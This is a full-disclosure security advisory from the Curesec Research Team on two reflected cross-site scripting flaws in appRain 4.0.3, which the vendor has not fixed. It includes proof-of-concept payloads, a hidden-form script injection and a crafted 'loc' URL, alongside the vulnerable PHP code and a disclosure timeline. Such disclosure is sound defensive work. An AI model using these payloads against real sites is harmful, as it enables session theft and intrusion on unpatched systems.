appRain 4.0.3 Cross Site Scripting
Posted on 10 December 2015
Security Advisory - Curesec Research Team 1. Introduction Affected Product: appRain 4.0.3 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: info@apprain.com Vulnerability Type: XSS Remote Exploitable: Yes Reported to vendor: 10/02/2015 Disclosed to public: 12/02/2015 Release mode: Full Disclosure CVE: requested, but not assigned Credits Tim Coen of Curesec GmbH 2. Overview There are two reflected XSS vulnerabilities in appRain 4.0.3. This can lead to the injection of JavaScript keyloggers or the bypassing of CSRF protection. In the case of appRain, this may lead to code execution. 3. XSS 1 CVSS Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N Description The search of the file manager echoes user input without encoding, leading to reflected XSS. Proof of Concept <html> <body> <form action="http://localhost/apprain-source-4.0.3/admin/filemanager/upload" method="POST"> <input type="hidden" name="data[FileManager][search]" value="'"><script>alert(1)</script>" /> <input type="submit" value="Submit request" /> </form> </body> </html> Code /apprain/base/modules/toolbar.php private function btnFilemanagerSrcBox($srcstr = "") { $html = '<form method="post"> <input type="text" name="data[FileManager][search]" value="' . $srcstr . '" /> <div class="button" style="float:right"><input type="submit" value="Search" /></pre> </form>'; return array('box' => $html); } 4. XSS 2 CVSS Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N Description The appeditor echoes the given file name and path without encoding, leading to reflected XSS. Proof of Concept http://localhost/apprain-source-4.0.3/appeditor?loc='"><script>alert(1)</script> Code /component/appeditor/controllers/appeditor/index.phtml <?php foreach($fileeditorqueue as $row):?> <?php $farr = explode('/',$row);?> <?php if( $row == $loc):?> <li class="ui-tabs-selected"> <a href="?loc=<?php echo $row ;?>" title="<?php echo $row ;?>"><?php echo(end($farr)); ?></a> </li> <?php else: ?> <li> <a href="?loc=<?php echo $row ;?>" title="<?php echo $row ;?>"><?php echo(end($farr));?></a> <span class="closefiletab">X</span> </li> <?php endif;?> <?php endforeach;?> 5. Solution This issue was not fixed by the vendor. 6. Report Timeline 10/02 Informed Vendor. Mailbox info@apprain.com is full, used /2015 security@apprain.com instead (no reply) 10/21 Reminded Vendor of Disclosure Date /2015 10/21 Vendor anounces fix for 11/02/2015 /2015 11/04 No fix released, extended public disclosure date to 11/11/2015 /2015 11/05 Vendor asks for list of organizations that may help implementing fixes /2015 11/11 Replied that we do not have lists, and that we do not have the resources /2015 to implement fixes ourselves. Extended release date to 11/18/2015 and offered further extension if needed (no reply) 11/17 CVE Requested (no reply) /2015 11/24 Reminded Vendor of release date, extended date to 12/02/2015 and offered /2015 extension if needed (no reply) 12/02 Disclosed to public /2015 Blog Reference: https://blog.curesec.com/article/blog/appRain-403-XSS-115.html -- blog: https://blog.curesec.com tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Romain-Rolland-Str 14-24 13089 Berlin, Germany
